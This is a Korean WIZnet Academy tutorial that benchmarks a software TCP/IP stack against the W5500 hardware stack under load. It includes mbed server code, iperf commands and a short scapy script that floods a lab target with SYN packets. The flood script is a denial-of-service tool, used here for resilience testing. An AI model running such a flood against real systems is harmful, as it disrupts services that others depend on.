위즈네트 아카데미

TUTORIAL

튜토리얼

Home  > 튜토리얼

W5500 Unattackable Hardware TCP/IP

WIZnet Academy 2015.02.12 16:00 조회 수 : 116

위즈네트의 Hardware TCP/IP 솔루션의 최대 장점 중 하나는 인터넷의 각종 유해 공격들 (DDoS, Virus 등) 을 원천 차단할 수 있다는 점입니다. 이번 포스팅에서는 일반 Software TCP/IP 대비 위즈네트의 Hardware TCP/IP 솔루션이 얼마나 그러한 공격에 강한지 실제 비교 테스트를 통해 입증해 보고자 합니다.

MCU Platform : mbed NXP LPC1768

mbed

이번 테스트를 위해 사용할 MCU로 NXP LPC1768 기반의 mbed 플랫폼입니다.
It is based on the NXP LPC1768, with a 32-bit ARM Cortex-M3 core running at 96MHz. It includes 512KB FLASH, 32KB RAM and lots of interfaces including built-in Ethernet, USB Host and Device, CAN, SPI, I2C, ADC, DAC, PWM and other I/O interfaces. The pinout above shows the commonly used interfaces and their locations. Note that all the numbered pins (p5-p30) can also be used as DigitalIn and DigitalOut interfaces. Fore more detail, click here.

 

1. 테스트 준비


Software TCP/IP 테스트를 위한 주요 구성

  • LwIP : Software TCP/IP Stack

  • Ethernet MAC : LPC1768 내장

  • Ethernet PHY : DP83848J


xapp_board_front

Harware TCP/IP 테스트를 위한 주요 구성 : WIZ550io

  • W5500 : Hardware TCP/IP Stack 내장칩

  • Ethernet MAC : W5500 내장

  • Ethernet PHY : W5500 내장


wiz550io_pinout_rev1.1_20140206

 

2. 테스트하기


Application for iperf

RECV only code for software stack
#include "mbed.h"
#include "EthernetInterface.h"

EthernetInterface eth;
int main()
{
printf("Trying rn");
// as your env. change to real IP address and so on.
int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1");

if (!ret) {
printf("Initialized, MAC: %snr", eth.getMACAddress());
printf("Connected, IP: %s, MASK: %s, GW: %snr",
eth.getIPAddress(), eth.getNetworkMask(), eth.getGateway());
} else {
printf("Error eth.init() - ret = %dnr", ret);
return -1;
}

eth.connect();
printf("IP Address is %sn", eth.getIPAddress());

TCPSocketServer server;
server.bind(5000);
server.listen();

while (true) {
printf("nWait for new connection...n");
TCPSocketConnection client;
server.accept(client);
client.set_blocking(false, 1500); // Timeout after (1.5)s

printf("Connection from: %sn", client.get_address());

char buffer[2048];
while (true) {
int n = client.receive(buffer, sizeof(buffer));

if (n < 0) break; // !_is_connected

}
client.close();
}
}

RECV only code for WIZ550io
#include <stdio.h>
#include <string.h>
#include "mbed.h"
#include "EthernetInterface.h"


//DigitalOut myled(LED1);
//Serial pc(USBTX , USBRX);
int main() {

printf("Test - WIZ550iorn");

/** Set the spi bus clock frequency
*
* @param hz SCLK frequency in hz (default = 1MHz)
* Maximum SPI data bit rate of 12.5 Mbit/s in LPC176X
*/
spi.frequency(12500000);
SPI spi(p5, p6, p7); // mosi, miso, sclk
EthernetInterface eth(&spi, p8, p11); // spi, cs, reset

// as your env. change to real IP address and so on.
int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1");
if (!ret) {
printf("Initialized, MAC: %snr", eth.getMACAddress());
printf("Connected, IP: %s, MASK: %s, GW: %snr",
eth.getIPAddress(), eth.getNetworkMask(), eth.getGateway());
} else {
printf("Error eth.init() - ret = %dnr", ret);
return -1;
}

printf("IP Address is %sn", eth.getIPAddress());

TCPSocketServer server;
server.bind(5000);
server.listen();

while (true) {
printf("nWait for new connection...n");
TCPSocketConnection client;
server.accept(client);
client.set_blocking(false, 1500); // Timeout after (1.5)s

printf("Connection from: %sn", client.get_address());

char buffer[2048];
while (true) {
int n = client.receive(buffer, sizeof(buffer));

if (n < 0) break; // !_is_connected
}
client.close();
}
}

여기서 2가지 테스트를 위한 Code Memory 를 비교해 보겠습니다.

firewall_code firewall_memory

 

위에 나온바와 같이 Software TCP/IP 구동시 Flash 64.5KB / RAM35.2KB (RAM의 경우 실제 장착된 사이즈 이상으로 요구하고 있음), 위즈네트의 Hardware TCP/IP 를 구동할 경우에는 Flash 28.6KB, RAM 0.8KB 만을 필요로 하기 때문에 인터넷 기능을 위한 Memory 사용을 최소화하여, 다른 어플리케이션 구동을 위해 사용할 수 있습니다.

DDoS Attack (Syn-flood attack)

이제 2개 시스템에 본격적인 Attack 을 가해보겠습니다. 본 테스트에서는 Attack 을 주기 위해 scapy (python library) 를 사용하였습니다.
from scapy.all import

inter = input('inter(time in seconds to wait between 2packets) :')

def synFlood(src, tgt, inter):
IPlayer = IP(src, dst=tgt)
TCPlayer= TCP(sport=3000, dport=3000) # as your env. change source and destination port
pkt = IPlayer / TCPlayer
send(pkt, loop=1, inter=inter) #

#send(pkts, inter=0, loop=0, verbose=None)
# Send packets at layer 3, using the conf.L3socket supersocket. pkts can
# be a packet, an implicit packet or a list of them.
#
# loop: send the packets endlessly if not 0.
# inter: time in seconds to wait between 2 packets
# verbose: override the level of verbosity. Make the function totally silent when 0.
# * Refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf for more detail.


# as your env. change to real IP address and so on.
src = "192.168.77.000" # PC IP address
tgt = "192.168.77.34" # target board (LPC1768)

synFlood(src, tgt, inter)

iperf 사용하기

iperf 는 네트워크 대역폭 (Bandwidth) 를 확인하는 프로그램으로, bandwidth, delay jitter, datagram loss 등을 확인할 수 있습니다. https://iperf.fr/  에 접속하시면 iperf에 대한 좀더 상세한 사항과 함께 프로그램 다운로드가 가능합니다.
# ex.) host IP(192.168.77.34):port[5000], display format is Mbit/sec, interval 1 sec.
>iperf.exe -c 192.168.77.34 -p 5000 -f m -i 1


  •  -c : –client host, -c will connect to the host specified.

  • -p : –port #, the server port for the server to listen.

  • -f : –format [], ‘m’ = Mbit/sec

  • -i : –interval #, Sets the interval time in seconds between periodic bandwidth


Network Configuration

이번 테스트를 위한 전체 네트워크 구성도입니다.firewall_network

 

3. 테스트 결과


Network Perfomance

firewall_performance

위의 테스트 결과에서 보여지듯이 Software TCP/IP 시스템의 경우 Attack 이 가해질때마다 네트워크 속도가 현저하게 떨어지는 반면, Hardware TCP/IP 시스템에서는 Attack 의 Interval 과 횟수에 상관없이 일정한 속도를 유지하고 있는 것을 확인할 수 있습니다.

여기서 만약 Attack 이 없는 경우라면 15Mbps 이상의 속도를 보이는 Software TCP/IP 기반의 시스템이 좀더 좋은 성능을 보인다고 말할 수 있겠지만, 이는 Hardware TCP/IP Stack 의 성능의 문제가 아닌 MCU와의 Interface 에서 오는 차이로 볼 수 있습니다. 즉 Software TCP/IP 솔루션의 경우 MAC/PHY가 BUS로 인터페이스 하는 반면, 위즈네트 칩의 경우 시리얼 인터페이스의 하나인 SPI 를 사용하고 있어, 그 물리적인 인터페이스에서 오는 차이로 이해할 수 있습니다. 실제 위즈네트 칩 중의 하나인 W5300의 경우 ARM9과 BUS로 인터페이스 시 80Mbps 이상의 네트워크 성능 구현이 가능합니다.

출처 : Embbedist